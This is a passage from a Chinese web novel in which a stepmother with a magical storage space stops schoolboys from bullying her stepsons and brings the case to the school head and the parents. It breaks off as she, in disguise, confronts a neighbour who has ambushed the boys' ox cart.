“就是!没娘的野孩子,听说你们爹又进山打猎去了?你家那新来的那个小娘皮,指不定哪天就跟人跑了!还给你们包饺子?做梦呢!”
“哈哈哈,把他们的饺子拿了!哥哥们帮你们尝尝!喏,这俩黑面馍馍赏你们,狗才吃的东西,正配你们!”
林若若透过门缝往里一看,浑身的血几乎瞬间冲上了头顶!
狭小昏暗的柴房里,四五个穿着明显比赵林赵峰体面些的男孩子,正将兄弟俩堵在墙角。
赵峰被一个高胖的男孩反拧着胳膊,脸涨得通红,眼泪在眼眶里打转,却死死咬着嘴唇没哭出声。
赵林被另外两人按着肩膀,动弹不得,嘴角之前磕破的伤处又裂开了,渗着血丝。
地上,她精心准备的帆布饭盒被踢翻了,白胖的饺子滚了一地,沾满了灰土。
几个男孩手里正拿着饺子往嘴里塞,吃得满嘴流油,还故意发出夸张的咀嚼声。
而两个又冷又硬的黑面馍馍,被扔在赵林赵峰的脚边。
更让林若若目眦欲裂的是,其中一个身形最壮的男孩,正隔着赵林单薄的衣衫,用拳头不轻不重地捶打他的后背和肩胛,一边打一边恶狠狠地威胁:
“叫你不吭声?骨头还挺硬!告诉你,以后见你们一次打一次!敢告诉夫子,敢回家说,下回就扒了你们裤子打,打得更惨!听见没有!”
他们专挑不易察觉的地方下手,显然是做惯了这种欺负人的勾当!
林若若只觉得一股怒火从心底猛地炸开,烧得她眼前发黑,手脚冰凉后又滚烫!
她的孩子!
她早上还小心护着送到学堂的孩子,竟然在这里遭受这样的欺凌和侮辱!
饺子被抢,身体被打,还要被这样恶毒的言语中伤!
“住手!!!”
第41章 娘!!
一声几乎变了调的厉喝,猛地炸响在柴房门口。
林若若“砰”地一脚踹开虚掩的柴房门,背着小静就冲了进去。
她双眼赤红,平日里温婉清透的面容此刻因为极致的愤怒而显得有些狰狞,目光像淬了冰的刀子,狠狠扫过那几张瞬间僵住的、带着油渍和惊慌的脸。
“你们在干什么?!”
她的声音不高,却带着一种骇人的冷厉,视线最后落在那还在捶打赵林的壮硕男孩身上。
那几个欺负人的孩子显然没料到会突然有个大人冲进来,而且是这样一副要**的模样,顿时吓得松了手,后退了几步。
嘴里没吃完的饺子掉在地上也顾不上了。
赵峰一得自由,立刻扑到哥哥身边,带着哭腔喊:“哥!”
赵林抬起头,看到门口逆光站着的、胸膛剧烈起伏的林若若,一直强忍的委屈和疼痛仿佛找到了出口,眼圈瞬间红了,却倔强地偏过头,不想让她看见自己的狼狈。
林若若的目光落在兄弟俩身上,看到赵林嘴角的血迹,赵峰脏污的衣裳,还有地上那些被践踏的饺子……心像被钝刀子割一样疼。
她轻轻拍了拍被惊醒有些不安的小静,将她放到一边干净些的角落,柔声却坚定地说:
“小静不怕,闭上眼睛,数数。”
然后,她转过身,一步步走向那几个已经缩到一起的男孩。
她走得并不快,但每一步都像踩在那些孩子的心尖上。
“谁带的头?”
林若若的声音冷得能掉冰渣子,目光锁定了那个最高最壮的男孩,“是你,对吗?”
那男孩被她看得发毛,色厉内荏地梗着脖子:
“你……你是谁?关你什么事!我们……我们闹着玩呢!”
“闹着玩?”林若若猛地伸手,一把揪住那男孩的衣领。
她力气不大,但盛怒之下加上那股不要命的气势,竟将那比她矮不了多少的男孩拽得一个趔趄。
“隔着衣服**,专挑不见伤的地方,抢别人的吃食,辱骂别人的父母家人——这叫闹着玩?!”
她另一只手扬起,却不是**,而是快如闪电地夺过了那男孩手里还攥着的半个饺子,狠狠摔在地上,用脚碾进泥土里。
“我的孩子,我起早亲手包的饺子,是给你们这些恃强凌弱、心思歹毒的东西糟蹋的吗?!”
其他几个孩子见她这般凶悍,吓得大气不敢出。
被揪住衣领的男孩也慌了,挣扎着:
“放开我!我……我爹是镇上开杂货铺的王掌柜!你敢动我,我爹饶不了你!”
“哦?杂货铺?王掌柜?”
林若若冷笑,手上力道不松,
“正好!我倒要问问王掌柜,他是怎么教儿子的!教出个在学堂里拉帮结伙、欺辱同窗、抢夺他人之物的小霸王!看看这镇上的人,是觉得你爹教子有方,还是觉得我替没空管孩子的爹娘教训一下不懂规矩的混账更有理!”
她这话掷地有声,不仅搬出了对方家长,更点出了“欺凌同窗”的性质。
孩子们再顽劣,也多少知道这事闹大了不光彩,尤其可能连累家里名声。
那自称王掌柜儿子的男孩脸色白了白,气焰顿时矮了半截。
林若若松开他的衣领,却依旧用冰冷的目光逼视着他们每一个人:
“现在,给我听好了。第一,向我儿子道歉!第二,把你们身上所有值点钱的东西,零花钱、文具,都拿出来,赔我的饺子,还有我儿子的衣裳和精神损失!第三,立字据,以后再敢碰赵林赵峰一根手指头,说他们一句不是,我林若若就拿着这字据,挨家挨户找你们爹娘,找夫子,找镇长评理!看看谁更丢人!”
她顿了顿,语气更寒:
“若是不服,现在就可以回去叫你们爹娘来!我林若若今天就站在这里等着!看看到底是谁家理亏,是谁家养出了这等横行霸道的孽障!”
柴房里一片死寂。
只有赵峰小声的抽噎,和赵林压抑的呼吸声。
那几个欺负人的孩子面面相觑,被她的话吓住了。
道歉赔钱还好说,立字据……那岂不是把柄落在人家手里
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了?
而且这妇人看着娇弱,眼神却这么吓人,还要找镇长?
最终,在林若若毫不退让的冰冷注视下,那个带头的王姓男孩最先扛不住了,低着头,蚊子哼哼似的对赵林赵峰说了句“对……对不起”。
其他几个也只好跟着含糊道歉,然后不情不愿地掏出身上带的几文零钱和还算新的毛笔、墨锭,放在地上。
林若若捡起那些东西,看也没看,直接塞进赵峰怀里。
“拿着,这是他们该赔的。”然后她从自己刚买的纸张里撕下一页,又拿出笔墨(借口袖袋,实则空间),冷冷道:
“不会写字就按手印。写清楚你们今天干了什么,保证以后不再犯。谁不按,我现在就拉他去见夫子,然后去镇上敲锣打鼓说道说道!”
半胁迫半威慑之下,五个男孩终究是哆哆嗦嗦地在那张“认罪保证书”上签了名或按了手印。
林若若仔细收好字据,仿佛收起最锋利的武器。
她最后扫了他们一眼:“滚吧。记住你们今天按的手印。再有下次,绝不轻饶!”
那几个孩子如蒙大赦,灰头土脸、跌跌撞撞地跑了。
柴房里终于安静下来。
林若若深吸一口气,强行压下依旧翻腾的怒火和心痛,转身快步走到两个孩子面前。
她蹲下身,轻轻抬起赵林的脸,用干净的帕子(沾了灵泉水)小心擦拭他嘴角的血迹和脸上的脏污,又拉过赵峰,查看他手腕和身上的红痕。
她的动作极其轻柔,与方才的凌厉判若两人。
“疼吗?”她的声音有些发颤。
赵林摇摇头,又点点头,终于忍不住,大颗的眼泪滚落下来,却依旧没出声。
赵峰“哇”地一声哭出来,扑进林若若怀里:
“娘!他们……他们抢饺子,还说你是坏女人,会跑掉……还打哥哥……呜呜……”
林若若紧紧抱住赵峰,另一只手将沉默流泪的赵林也揽入怀中。
她的眼眶也湿了,心里又酸又痛又怒。
“不怕了,不怕了,娘在这儿。”
第42章 闹大
她第一次,如此自然地在他们面前自称“娘”,
“饺子没了,娘再包。他们说的话都是放屁,娘不会跑,娘会一直护着你们。以后谁再敢欺负你们,不管是谁,娘都跟他拼命!对了,前几日我做的饭菜是不是也都被他们抢走了?!”
两个孩子含着眼泪,点了点头。
她松开他们,仔细擦干他们的眼泪,目光坚定而温暖:
“记住,你们不是没娘的野孩子。你们有爹,现在还有娘。咱们家不是破落户,咱们一家人齐心,日子会越来越好。今天这事,错不在你们,是那些人心坏。你们做得对,没有轻易屈服,哥哥保护弟弟,弟弟想着哥哥,都是好样的。”
她从空间里又悄悄取出两个温热的、用油纸包好的肉包子(本是备着给自己和小静的),塞到他们手里:
“先吃点垫垫。下午好好念书,什么都别怕。这张纸,”
她晃了晃那张字据,“就是你们的护身符。放学娘来接你们。”
看着两个孩子渐渐平复情绪,小口吃着包子,眼中重新有了光亮,林若若的心才稍稍安定。但眼底的冷意未散。
这件事,还没完!
孩子间的欺凌,往往背后有家庭的纵容或忽视。
那个王掌柜家,还有另外几家……她得好好想想,如何彻底杜绝后患,让她的孩子能在学堂里真正平安地读书。
她背起小静,一手牵着一个孩子,走出阴暗的柴房。
午后的阳光照在身上,却暖不透她心底为母则刚的凛冽寒意。
一会儿她就要去会会学堂两位夫子,还有那位“教子有方”的王掌柜了。
林若若将赵林赵峰送回学堂课室,亲眼看着他们坐好,又给了他们一个安抚的眼神,这才背着小静,转身朝着夫子们日常休息和办公的院舍走去。
午后的学堂显得格外安静,大部分学子都在课室休憩或温书。
她刻意放轻了脚步,但脊背挺得笔直,脸上还残留着未曾完全褪去的冷意。
她先找到了负责赵林赵峰这个蒙童班的许夫子。
许夫子是个面容清癯的中年人,此刻正在自己的小书房内翻阅书卷。
见到林若若背着孩子一脸凝重地进来,他有些诧异,放下了手中的书。
“你是何人?”
“回夫子,小女子是赵林赵峰的母亲。”
“赵林赵峰的娘亲?哦,原来是你!多谢你让孩子带来的午饭,非常好吃!老夫在此谢过了。”许夫子面带笑容,很是客气。
林若若也收起脸上的怒气,露出得体的笑容:
“夫子客气了。一点饭食,不值什么钱。孩子回家说了,您也经常课间单独给他们补课,还送给他们字帖,我们做父母的,心中感激。多谢夫子了。”
许夫子赶紧摆摆手,“请坐,你今日此时前来,可是有事?”许夫子对林若若的印象不错。一个继母做到这个份上,可以了。
林若若没有立刻回答,而是先规规矩矩地福了一礼,然后才抬眼看着许夫子,声音清晰平稳,却带着不容忽视的力量:“许夫子,确有要事,关乎学堂风气与学子安危,不得不禀告夫子。”
许夫子见她神色郑重,也坐直了身体:“请讲。”
林若若便将午间在柴房所见所闻,条理清晰地道来:
如何听到呼救,如何目睹欺凌,几个孩子如何分工合作欺辱赵林赵峰,抢夺毁坏食物,言语辱及家人,尤其点明了那带头王姓男孩的手段——
隔着衣服捶打不易见伤处,显然并非第一次,且隐含恶意的熟练。
她语气冷静客观,几乎不加修饰,却恰恰因为这份平实的叙述,让那场景显得越发恶劣。
许夫子的脸色随着她的讲述,渐渐沉了下来,眉头紧锁。
“……我赶到时,赵林嘴角带血,赵峰手腕有红痕,地上是被践踏的饺子。情急之下,我已先行处置,让他们道歉、赔偿,并立下字据为凭。”
林若若说着,从袖中
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(实则是空间)取出那张墨迹和指印犹新的“保证书”,双手递给许夫子,
“这便是那几个孩子亲手签名画押的凭证。其中为首者,自称是镇上王掌柜之子。言语间,颇有倚仗家势之意。我并非想以势压人,只是觉得,此事恐怕并非单纯的孩童玩闹失手,其行径心思,已有欺凌同窗、恃强凌弱之嫌。长此以往,恐非学堂之福,亦非其他安心向学孩童之福。”
许夫子接过那张纸,目光迅速扫过上面歪歪扭扭却清晰可辨的签名和那句“保证以后不再欺负赵林赵峰,否则任凭处置”的承诺,脸色已然变得铁青。
他教书多年,见过顽劣的,却少见如此心思阴沉、结伙作恶且不知悔改(从林若若复述其狡辩及搬出父亲威胁可见)的。
更让他心惊的是,此事竟发生在学堂之内,而他作为夫子,事先竟毫无察觉!
“岂有此理!真是岂有此理!”
许夫子气得手指都在发抖,将那张纸重重拍在桌上,“光天化日,学堂清净之地,竟有如此行径!枉读圣贤之书!林娘子,此事是学堂管教不严,是我失察!让赵林赵峰受委屈了!”
林若若微微摇头:
“夫子每日教授众多学子,难免有顾不到之处。错不在夫子,而在行恶者及其家教。我此番前来,并非问责,而是觉得此事不能轻轻揭过。孩子今日能因一餐饺子如此,他日未必不会做出更甚之事。且若不严加惩戒,以儆效尤,恐其他学子效仿,或更助长其气焰。今日他们怕了我这凶悍的妇人,暂时服软,难保日后不会变本加厉,或者转而欺凌其他更为弱小的孩子。”
她的话句句在理,点出了问题的核心和隐患。
许夫子深吸一口气,沉声道:“林娘子所言极是。此事绝不能姑息!我这就去禀明山长。”
他拿起那张保证书,“此物便是铁证。林娘子可愿随我一同面见山长,**情由?”
“自当如此。”林若若点头。
第43章 当面对质
学堂的山长姓齐,是一位德高望重的老秀才,治学严谨,向来注重学子品德。
当他从许夫子手中接过那张保证书,听完林若若冷静而清晰的复述后,原本温和儒雅的面容瞬间笼罩上了一层寒霜。
“啪!”齐山长将手中的戒尺重重敲在桌案上,花白的胡须因愤怒而微微颤动,
“混账!小小年纪,心思如此不堪!拉帮结伙,欺辱同窗,毁人物件,辱人父母,还敢倚仗家势口出狂言!这哪里是学子,分明是街头的痞赖行径!”
他看向林若若,眼中满是愧色与赞赏交织的复杂情绪:
“赵林娘亲,老夫……惭愧啊!竟让这等事发生在眼皮底下,令郎受苦了。你处置得极好,有理有据,既当场制止,又留下凭证,更难得的是思虑周全,虑及后患。你一个妇人,能为孩子如此挺身而出,智勇兼具,老夫佩服!”
林若若再次行礼:
“山长言重了。身为母亲,护犊乃是本能。我只求学堂能公正处置,肃清此等歪风,让所有孩子都能在安心、清静的环境中读书明理。”
“这是自然!”
齐山长斩钉截铁,“许夫子,立刻去将那五个顽劣之徒带到我这里来!一个不许少!还有,去请王掌柜——既然他儿子口口声声提及父亲,那就让他父亲也来听听,他儿子在学堂里都做了些什么‘好事’!其他几家,也一并通知家长午后过来!”
齐山长显然动了真怒,决心要彻底整顿。
他拿起那张保证书,又仔细看了一遍,尤其是那几个签名,眼中厉色更浓:
“证据确凿,不容抵赖。今日,老夫便要当着众家长的面,好好问问他们,是如何管教儿子的!学堂是读书明理之地,容不下此等害群之马!”
许夫子领命匆匆而去。
齐山长转向林若若,语气缓和了些:
“林娘子,你先稍坐。待会还需你再陈述一遍事实。你放心,此事学堂必定给你,给赵林赵峰一个交代!”
林若若心中微松,知道第一步已经成功。
她得到了学堂最高管理者的重视和支持,这远比她独自去与那些家长周旋更有力。
她微微欠身:“多谢山长主持公道。我只盼此事能妥善解决,让孩子们日后能平安向学。”
她带着小静在一旁坐下,等待着接下来的“对质”。
背脊依旧挺直,眼神沉静。她知道,真正的交锋,或许才刚要开始。
但有了这张保证书,有了夫子和山长的怒火与决心,她已经占据了绝对的主动和道义的上风。
接下来,就看那位“王掌柜”,以及其他的家长,如何面对这铁一般的事实,和他们儿子亲笔画押的“罪状”了。
不多时,门外便传来了纷乱的脚步声和压抑的抽泣声。许夫子面色铁青,领着五个垂头丧气的男孩走了进来。
为首的那个,身形微胖,眼眶还红着,正是王掌柜的儿子王小虎。
他偷眼瞧见端坐一旁的林若若,脖子下意识地一缩,又瞥见山长手中那张刺眼的纸,脸色更白了几分。
齐山长目光如电,扫过这五个孩子,最后定格在王小虎身上,声音沉缓却透着不容置疑的威严:
“王小虎,这纸上的名字,是你亲手所写?这指印,是你亲手所按?”
王小虎哆嗦了一下,不敢抬头,蚊子哼哼般应道:“……是。”
“大声回话!”齐山长猛地提高声音。
“是!学生……学生写了,按了。”王小虎吓得一颤,眼泪差点又掉下来。
“好。”齐山长抖了抖手中的纸,“那这上面所写‘保证不再欺负赵林赵峰’,可是你等自愿?赵林赵峰嘴角的血痕,被踩烂的饭食,可是你等所为?那些‘没娘的野孩子’、‘破落户’的污言秽语,可是出自你等之口?!”
一连串的质问,掷地有声。
另外四个孩子早已抖如筛糠,王小虎也面无人色,嗫嚅着,想辩解又无从辩起,尤其是看到林
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若若那平静却冰冷的眼神,午间被那股无形气势压迫的恐惧再次涌上心头。
“山长问话,如实回答!”许夫子在一旁厉声喝道。
“……是。”王小虎终于扛不住,带着哭腔承认了,“可……可我们不是有意的……是他们先……”
“住口!”
齐山长勃然作色,
“事到如今,证据确凿,还敢巧言推诿!不是有意?隔着衣衫专挑不易见伤处捶打,不是有意?分工合作,拦人、抢食、毁物、望风,不是有意?搬出父亲名头威胁同窗母亲,不是有意?!你们这‘不是有意’,心思可比那明火执仗的强盗更刁钻三分!”
这话极重,王小虎几人彻底瘫软下去,只剩哭泣。
就在这时,门外传来一阵略显急促的脚步声,一个穿着绸缎长衫、面容富态的中年男子匆匆走了进来,身后还跟着几个神色惶惑的男女,显然是另外几个孩子的家长被请来了。
王掌柜一进门,先看到自家儿子跪在地上哭,眉头就是一皱,再看到齐山长手中的纸和面色沉肃的许夫子,以及旁边那位背着孩子、神色平静却莫名让人感到压力的年轻妇人,心里咯噔一下。
但他到底是生意场上打滚的人,脸上迅速堆起笑容,朝着齐山长拱手:
“齐山长,许夫子,这是怎么了?可是犬子顽劣,惹了什么事?小孩子家打打闹闹,难免的,回头我定好好管教……”
他话里话外,仍想将事情往“孩童玩闹”上轻描淡写地引。
齐山长冷哼一声,直接将那张保证书递到王掌柜眼前:
“王掌柜,你自己看看,这是否是令郎的笔迹指印?再看看这上面写的什么!打打闹闹?若真是寻常玩闹,何须立此字据,又何至于惊动家长,劳动老夫亲自过问?你这儿子,在学堂里拉帮结派,欺凌同窗,毁人饭食,辱人父母,手段心思,可不像是不懂事的孩童玩闹!”
王掌柜接过纸一看,脸色顿时变了变。
第44章 为母则刚
他认得儿子的字,那歪扭的签名和鲜红的指印做不得假。
尤其是那句“任凭处置”,看得他心头火起,暗骂儿子愚蠢,竟落下如此把柄。但他眼珠一转,仍试图转圜:
“这……山长息怒,夫子息怒。小孩子不懂事,口无遮拦,许是有些误会。犬子平日在家也是乖巧的,定是受了旁人撺掇……”他边说,边狠狠瞪了旁边几个孩子和家长一眼。
齐山长每说一句,王小虎几人的头便低下去一分,几位家长的脸色也更尴尬一分,却无人敢出言反对。
最后,齐山长看向王掌柜,语气意味深长:
“王掌柜,子不教,父之过。今日之事,望你深思。学堂是读书明理之地,家财权势,在这里行不通。若真为孩子长远计,还当以修身立德为先。”
王掌柜脸上火辣辣的,山长这话几乎是指着他鼻子训诫了。
他狠狠剜了儿子一眼,终于低头,朝着齐山长和林若若拱手:
“山长教训的是,是在下教子无方,给学堂添麻烦了。林娘子,犬子混账,多有得罪,赔偿道歉,绝不推诿,回去定严加管教!”这话,总算有了几分认错的诚意。
林若若见目的已达,也不再咄咄逼人,再次行礼:
“多谢山长、夫子主持公道。赔偿之事,便按山长所言。只希望今日之后,此类事情不再发生。孩子们年纪尚小,知错能改,善莫大焉。”
她这话既给了学堂面子,也稍稍缓和了与几位家长的紧绷关系,更显得她处事有度,不忘教育本意。
齐山长和许夫子见状,眼中赞许之色更浓。
事情既已处理完毕,齐山长令许夫子带着几个孩子和家长去具体落实惩罚和赔偿事宜。
王掌柜等人灰头土脸地领着孩子告退。
临走前,林若若叫住他们,从袖中(实则是空间)又取出一个小瓷瓶,递给许夫子:
“夫子,这里有些自制的清凉药膏,若孩子们打扫时有些不慎磕碰,或可一用。”既显关切,又表明此事就此揭过,她不打算再私下计较。
这一举动,更让许夫子和尚未离开的齐山长暗自点头。
待人散尽,齐山长对林若若温言道:
“林娘子,今日让你受惊了。经此一事,学堂上下必当整肃,你大可放心。赵林赵峰都是好孩子,功课也用心,日后老夫和许夫子会多加留意。”
“多谢山长爱护。”林若若真心实意地道谢,又寒暄几句,便告辞出来,准备去课室看看两个孩子。
走出院舍,午后的阳光已带上些许暖意。
背上的小静不知何时睡着了,发出均匀的呼吸声。
林若若轻轻舒了口气,眼底的凛冽寒意渐渐化开,转为深沉的思量。
今日之事,算是暂告一段落。
雷霆手段留下了凭证,借了学堂的势,得到了明确的惩戒和承诺,应该能震慑住那些孩子和家长一段时间。
但归根结底,要让两个孩子真正挺直腰杆,不受欺侮,除了外部环境的改善,更需要他们自身内在的底气。
这底气,来源于家庭的温暖,来源于母亲的庇护,或许……也该来源于一些自保的能力,和越来越好的家境。
她抬头看了看天色,步伐沉稳地朝着课室走去。
接孩子回家。
未来的路还长,但至少今天,她为这两个孩子,撑起了一片不容侵犯的天空。
课室里已恢复了平日的秩序,学子们或伏案小憩,或低声温书。
林若若站在窗外,目光柔和地落在靠后排的两个小身影上。
赵林腰杆挺得笔直,正认真描红,只是下笔稍显用力,仿佛要将下午的委屈和之后的振奋都倾注在笔尖;
赵峰则时不时悄悄抬眼,望向窗外,当看到娘亲熟悉的身影时,眼睛倏地亮了,露出一个安心的笑容,随即又赶紧低下头去看书,耳根却微微泛红。
林若若唇角微扬,心中那片为母则刚的凛冽寒意,此刻已被这脉脉温情悄然融化了泰半。
她没有进去打扰,只是静静等着下课
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钟响。
“铛——铛——”
悠长的钟声回荡在学堂院落。学子们纷纷收拾书本,课室渐渐喧闹起来。
赵林赵峰几乎是第一时间就背起书囊,快步走了出来。
看到林若若背着小静等在廊下,夕阳给她周身镀上一层温暖的金边,两个孩子不约而同地加快了脚步。
“娘!”赵峰先喊出声,声音里带着雀跃和依赖。
赵林稍慢半步,也走到近前,小声唤了句:“林姨。”
眼神却比午间明亮了许多,那层总是笼罩着他的、属于这个年纪不该有的沉郁阴霾,似乎被撕开了一道口子,透进了光。
林若若伸手,自然地替赵林理了理刚才跑得有些歪的衣领,又摸了摸赵峰的头:
“书囊重不重?今日的课,可还跟得上?”
赵林摇头:“不重。跟得上,许夫子下午还夸我字有进步。”
赵峰则有些不好意思:“我……算学有一题没太明白,不过哥哥说回家教我。”
“不懂就问,兄弟互助,这就很好。”
林若若欣慰地笑了,一手牵起一个,“走,咱们回家。娘晚上给你们做好吃的。”
母子四人穿过渐渐空旷的学堂院落,走过青石板路,朝着镇子边缘他们那处小小院落走去。
夕阳将他们的影子拉得很长,紧紧依偎在一起。
路上,林若若并未多提午间之事,只温声询问着学堂的趣事,夫子讲了什么新内容,同窗可有好玩的故事。
两个孩子起初还有些小心翼翼,见她神色如常,语气温柔,便也渐渐放松下来,你一言我一语地说着,赵峰甚至比划起某个同窗午睡流口水的模样,逗得小静在林若若背上咯咯直笑。
这笑声清脆悦耳,驱散了最后一丝残留的阴郁。
快到家门口时,赵林忽然停下脚步,抬起头,很认真地看着林若若:
“今天,谢谢您。”
赵峰也连忙点头,小脸上满是郑重,还有骄傲:
“谢谢娘!娘好厉害!”
第45章 上学路上
中午的时候,赵峰就喊自己娘了~
那会儿正在怒气之中,没有过多的回应孩子,没想到,这会儿赵峰又喊自己“娘”了~
林若若心中一片柔软,她把小静从背上放下来,蹲在地上,平视着赵峰那双大大的、明亮的眼睛。
这只是个五岁的孩子,自小就缺少爹娘的疼爱,原本林若若以为他还要许久才能接受自己,没想到,他这么快就喊自己娘亲了。
林若若伸出双臂,把赵峰小小的身子抱进怀里,红着眼眶,说道:“我是你娘,不需要说谢谢。”
之后,又把旁边的赵林也抱进怀里,轻柔地摸着他有些僵硬的身子,柔声说道:“以后我叫你们林儿、峰儿好不好?”
两个孩子赶紧点点头。
林若若看着两个孩子清澈的眼睛:
“林儿,峰儿,你们记住,娘护着你们,是天经地义。你们不用谢,只要记得,咱们是一家人,遇事不怕,但也要懂得保护自己,明白是非。今日你们没有任人欺负,懂得相互维护,娘心里其实……很高兴,也很心疼。”
她顿了顿,声音更柔,“以后有什么事,不管大小,都要告诉娘,好吗?”
两个孩子用力点头,眼眶又有些发红,但这次不是因为委屈,而是某种饱胀的、安心的情感。
“好了,回家。娘给你们做好吃的!”
旁边的小静高兴地拍着小手,“好吃的!好吃的!小静最爱娘亲了!”
林若若摸摸她的脑袋,站起身,打开了那扇崭新又结实的木门。
院子里,她早上晒的野菜已经半干,散发着一股淡淡的清香。
院子里,小白看到他们,就摇着尾巴铺了上来,嘴角咧到了耳朵根。
角落新开垦的一小片地上,冒出几棵嫩绿的菜苗。
这个家,虽然简陋,却处处透着用心经营的生机。
晚上,林若若果然做了一顿丰盛的晚餐。
空间里存着的白米蒸得喷香,腊肉炒野芹咸鲜下饭,还用鸡蛋做了一大碗嫩滑的蛋羹,淋上几滴香油,撒上一点翠绿的葱花。主食则是揉得劲道、烙得金黄的面饼。
饭桌上,热气氤氲,香气扑鼻。
小**在特制的高脚木凳上,挥舞着小勺子,吃得满脸都是饭粒。
赵林赵峰也吃得格外香甜,仿佛要将下午消耗的精气和情感都补回来。
林若若自己吃得不多,大部分时间都在含笑看着他们,时不时给这个夹点菜,给那个擦擦嘴。
烛光跃动,映着一家四口的脸庞,温暖而宁静。
饭毕,收拾好碗筷,赵林主动去烧洗漱的热水,赵峰则拿着扫帚清扫院子。
林若若没有阻拦,只细心叮嘱着“小心火”、“别扫太急”。
她坐在檐下的小凳上,轻轻拍着怀里有些昏昏欲睡的小静,望着两个孩子忙碌的小身影,心里那关于“底气”的思量,越发清晰起来。
仅仅依靠今日的“胜利”和学堂的约束,或许能保一时平安。
但若要孩子们真正自信、坚韧,不受人轻看,这个家,必须有更稳固的根基。
不仅仅是吃饱穿暖,更要有能抵御风浪的能力和逐渐改善的境况。
她想起空间里那些尚未充分利用的物资,想起自己前世带来的知识和技能,心中慢慢有了些模糊的计划。
或许,可以从改善伙食、增加一些稳妥的收入来源开始?或者,也该慢慢教孩子们一些强身健体、甚至简单防身的法子?
“林姨,水好了。”赵林的声音打断了她的思绪。
“哎,来了。”林若若应着,抱着小静起身。
夜里,将三个孩子都安顿睡下,仔细掖好被角。
赵林赵峰的房间里传来平稳的呼吸声,偶尔夹杂着赵峰一两声模糊的梦呓。
林若若坐在自己屋里的窗边,就着如水的月光,再次展开那张已经有些皱褶的“保证书”,看了片刻,然后仔细叠好,收进一个带锁的小木匣里,然后放进了空间。
这不是结束,而是一个开始。
她吹熄油灯,躺了下来。
窗外的月光流淌进来,洒下一地清辉。
远处隐隐传来几声犬吠,更衬得夜静谧。
林若若把小白收进空间,慢慢闭上了眼睛……
第二日,天刚蒙蒙
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亮,林若若便轻手轻脚地起了床,先把小白放了出来,让它去院里上厕所。
之后,去了灶房,熬了一锅稠稠的小米粥,切了一碟空间里拿出的咸菜丝,又烙了几张掺了白面的葱花饼,金黄油润,香气扑鼻。
看着还在熟睡的赵林赵峰,她心里盘算着,得让他们吃得好些,正是长身体的时候。
早饭做好,叫醒了两个孩子。
许是昨日折腾累了,赵峰醒来时还有些迷糊,揉着眼睛,软软地喊了声“娘”。
林若若心头一暖,应了一声,帮他们穿好昨日浆洗干净、破损处也细细缝补好的衣裳。
“快吃吧,吃完了去学堂。”
她将热乎乎的饼子塞到他们手里,又拿出两个洗净的竹筒,灌满了晾凉的开水,“渴了就喝这个。”
送走了吃完饭、背起小布包(里面装着林若若准备的午饭——米饭团和煎得香喷喷的鸡蛋饼)的赵林赵峰,之后把他们送到村口的牛车上,付了钱,就回家了。
但昨日刘婆子那怨毒的眼神和“等着瞧”的狠话,像根刺扎在她心里。
那妇人一看便是睚眦必报的性子,两个孩子独自坐牛车去镇上,路上半个多时辰,难保不会出事。
她转身回屋,看着还在炕上酣睡的小静,下了决心。
意念一动,便将小静连同她盖着的小薄被,一起送入了空间的大床上。
那里温暖安全,小家伙睡得正香,毫无所觉。而小白则留在了院里,看家护院。
林若若自己则迅速回到屋内,翻出一件赵长风留下的半旧深灰色外衫套在红裙外面,又用一块深蓝色的粗布头巾包住头发,遮住大半张脸。
对着水盆模糊的倒影看了看,肤色用锅底灰淡淡抹暗了些,眉眼也稍作修饰,看起来像个寻常的、面色微黄的村妇,与昨日那个明艳的新媳妇判若两人。
她将一把更锋利的**和几枚浸过麻痹草汁液的针小心藏于袖中、腰间,又将空间里一包石灰粉和一截坚韧的细绳放在触手可及之处。
准备好后,她悄然出门,远远跟上了已经启动、吱呀前行的牛车~
第46章 报复
清晨的乡村土路还算安静,牛车不快,林若若保持着一段不易察觉的距离,借着路旁树木和偶尔凸起的土坡遮掩身形,目光紧紧锁定前方那辆摇晃的牛车。
车上,王老栓在前面赶车,车厢里坐着几个村民,赵林赵峰小小的身影挤在中间,看起来并无异样。
起初一段路平安无事,只有车轮碾过土路的单调声响和偶尔的牛哞。
林若若几乎要以为是自己多虑了。
然而,牛车行至一处前不着村后不着店、两侧皆是茂密树林的狭窄路段时,异变陡生!
路旁林中突然“哗啦”一阵乱响,紧接着,几块不小的石块从斜刺里猛地飞了出来,目标直指拉车的老黄牛和车轮!
“哞——!”一块石头正中牛腹,老黄牛吃痛,惊惶地嘶鸣一声,猛地向前窜去,车厢剧烈颠簸!
“哎哟!”
“小心!”
车上乘客惊呼连连,王老栓死死拉住缰绳,试图控制受惊的牲口。
与此同时,另一块石头“砰”地砸在了车轮上,本就有些老旧的木制车轮发出一声不堪重负的“嘎吱”声,车轴似乎出现了裂痕,车速陡然一滞,又因为牛的冲力而歪斜!
“哈哈哈!小兔崽子,看你们今天还怎么去学堂!”
伴随着尖厉得意的笑声,刘婆子那壮硕的身影从树林里跳了出来,手里还攥着几块石头。
她身后,跟着她那胖儿子铁蛋,还有两个流里流气、眼神不善的青年,看样子是她娘家子侄之类。
刘婆子满脸横肉都挤着恶意的笑,显然早有预谋,埋伏在此。
她不敢直接在村里动手,选了这僻静处,不仅要吓唬、抢夺,恐怕还想让赵林赵峰吃点实实在在的苦头,甚至耽误了入学。
牛车被迫停下,王老栓气得胡子直抖:
“刘婆子!你疯了!伤着人怎么办?砸坏车你赔得起吗?”
“少废话!赔?呸!老娘今天就是来讨公道的!”
刘婆子叉着腰,唾沫横飞,目光毒蛇般盯住从车上下来、小脸紧绷的赵林赵峰,
“昨天让你们嚣张,还敢扎我!今天不把你们这两个小杂种的腿打断,老娘跟你姓!”
那两个青年摩拳擦掌地围了上来,铁蛋也狐假虎威地跟在后面,恶狠狠地瞪着赵峰。
车上其他村民见这阵势,虽然不满,但大多怕惹事,缩在一旁不敢作声。
王老栓想拦,却被一个青年推了个趔趄。
赵林下意识将弟弟挡在身后,小拳头攥得死紧,眼神里是超越年龄的愤怒和一丝不易察觉的恐惧。
赵峰也紧紧靠着哥哥,嘴唇抿着,没哭,但脸色发白。
“哥……”他小声叫了一声。
就在刘婆子得意洋洋,两个青年伸手要抓孩子,铁蛋也准备冲上来踹一脚的千钧一发之际——
“住手!”
一声清冽的冷喝破空而来。
众人一愣,只见一个穿着灰色旧衫、包头遮面的瘦削“村妇”从路旁快步走出,直接拦在了赵林赵峰身前。
“你谁啊?少管闲事!滚开!”一个青年不耐烦地挥手驱赶。
林若若抬起眼,虽然头巾遮面,但露出的那双眼睛冷静锐利,毫无惧色。
她没有理会青年,而是直直看向刘婆子,刻意压低了声音,却字字清晰:
